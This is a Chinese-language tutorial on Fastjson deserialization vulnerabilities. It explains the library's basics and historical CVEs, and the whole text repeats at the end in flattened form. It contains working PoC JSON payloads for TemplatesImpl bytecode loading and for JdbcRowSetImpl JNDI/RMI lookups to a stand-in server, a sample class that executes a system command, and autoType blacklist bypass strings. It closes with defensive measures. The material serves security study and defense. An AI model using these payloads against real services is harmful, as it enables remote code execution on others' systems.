完全零基础入门Fastjson系列漏洞(基础篇)
字数 1024 2025-08-23 18:31:34

Fastjson反序列化漏洞完全指南(基础篇)

一、Fastjson基础

1. Fastjson简介

Fastjson是阿里巴巴开源的高性能JSON处理库,主要用于Java对象与JSON字符串之间的相互转换。

2. 基本用法

序列化示例

Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);  // 输出: {"age":18,"name":"Alice"}

反序列化示例

String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());

3. 高级特性

字段映射

@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;

序列化顺序控制

@JSONType(orders = {"name", "age"})
public static class Person {
    private String name;
    private int age;
    // ...
}

二、关键概念

1. @type特性

@type是Fastjson的特殊注解,用于指定反序列化时的目标类:

{
    "@type": "java.lang.Runtime",
    // ...
}

2. JNDI基础

JNDI(Java Naming and Directory Interface)提供统一的资源访问方式,常用于:

  • 查找JDBC数据源
  • 访问LDAP目录服务
  • 获取JMS连接工厂

3. RMI基础

RMI(Remote Method Invocation)实现Java虚拟机间的远程方法调用:

// 服务端
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Calculator", new Server());

// 客户端
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Calculator calc = (Calculator) registry.lookup("Calculator");
int result = calc.add(5, 7);

4. Java反射

反射机制允许程序在运行时访问和修改类、方法和字段:

Class<?> clazz = Class.forName("org.example.Person");
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object person = constructor.newInstance("张三", 20);
Method method = clazz.getMethod("sayHello");
method.invoke(person);

三、Fastjson反序列化漏洞

1. Fastjson<=1.2.24漏洞(CVE-2017-18349)

漏洞原理

利用TemplatesImpl链,通过_bytecodes加载恶意类

利用链

TemplatesImpl#newTransformer() 
→ TemplatesImpl#getTransletInstance() 
→ TemplatesImpl#defineTransletClasses() 
→ TransletClassLoader#defineClass()

POC

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意类字节码base64"],
    "_name": "W01fh4cker",
    "_tfactory": {},
    "_outputProperties": {}
}

恶意类示例

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    // 必须实现的两个方法
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
}

2. Fastjson 1.2.25漏洞

黑白名单机制

1.2.25版本引入了黑白名单机制,默认禁用autoType

绕过方式1(1.2.25-1.2.47通杀)

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://127.0.0.1/exp",
        "autoCommit": true
    }
}

绕过方式2(特殊字符绕过)

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "rmi://127.0.0.1/exp",
    "autoCommit": true
}

JdbcRowSetImpl利用链

setAutoCommit() → connect() → lookup()

3. Fastjson 1.2.42漏洞

绕过方式

双写L;

{
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "rmi://127.0.0.1/exp",
    "autoCommit": true
}

4. Fastjson 1.2.43漏洞

绕过方式

使用[代替L

{
    "@type": "[com.sun.rowset.JdbcRowSetImpl"[,
    "dataSourceName": "rmi://127.0.0.1/exp",
    "autoCommit": true
}

5. Fastjson 1.2.44/1.2.47漏洞

漏洞原理

利用mappings缓存绕过checkAutoType

POC

同1.2.25的第一个绕过方式

6. Fastjson 1.2.68漏洞

新特性

  • 默认关闭缓存
  • 新增safeMode模式

绕过方式

利用expectClass机制绕过

四、防御措施

  1. 升级到最新安全版本
  2. 开启safeMode模式
  3. 严格限制反序列化的类
  4. 使用白名单机制

五、参考资源

  1. Fastjson官方文档
  2. 先知社区相关技术文章
  3. Java安全相关技术博客
  4. CVE漏洞数据库

这份文档涵盖了Fastjson反序列化漏洞的基础知识、历史漏洞原理和利用方式,以及防御措施。对于更深入的研究,建议参考文中提到的具体技术文章和官方文档。

Fastjson反序列化漏洞完全指南(基础篇) 一、Fastjson基础 1. Fastjson简介 Fastjson是阿里巴巴开源的高性能JSON处理库,主要用于Java对象与JSON字符串之间的相互转换。 2. 基本用法 序列化示例 反序列化示例 3. 高级特性 字段映射 序列化顺序控制 二、关键概念 1. @type特性 @type 是Fastjson的特殊注解,用于指定反序列化时的目标类: 2. JNDI基础 JNDI(Java Naming and Directory Interface)提供统一的资源访问方式,常用于: 查找JDBC数据源 访问LDAP目录服务 获取JMS连接工厂 3. RMI基础 RMI(Remote Method Invocation)实现Java虚拟机间的远程方法调用: 4. Java反射 反射机制允许程序在运行时访问和修改类、方法和字段: 三、Fastjson反序列化漏洞 1. Fastjson <=1.2.24漏洞(CVE-2017-18349) 漏洞原理 利用 TemplatesImpl 链,通过 _bytecodes 加载恶意类 利用链 POC 恶意类示例 2. Fastjson 1.2.25漏洞 黑白名单机制 1.2.25版本引入了黑白名单机制,默认禁用autoType 绕过方式1(1.2.25-1.2.47通杀) 绕过方式2(特殊字符绕过) JdbcRowSetImpl利用链 3. Fastjson 1.2.42漏洞 绕过方式 双写 L 和 ; : 4. Fastjson 1.2.43漏洞 绕过方式 使用 [ 代替 L : 5. Fastjson 1.2.44/1.2.47漏洞 漏洞原理 利用mappings缓存绕过checkAutoType POC 同1.2.25的第一个绕过方式 6. Fastjson 1.2.68漏洞 新特性 默认关闭缓存 新增safeMode模式 绕过方式 利用expectClass机制绕过 四、防御措施 升级到最新安全版本 开启safeMode模式 严格限制反序列化的类 使用白名单机制 五、参考资源 Fastjson官方文档 先知社区相关技术文章 Java安全相关技术博客 CVE漏洞数据库 这份文档涵盖了Fastjson反序列化漏洞的基础知识、历史漏洞原理和利用方式,以及防御措施。对于更深入的研究,建议参考文中提到的具体技术文章和官方文档。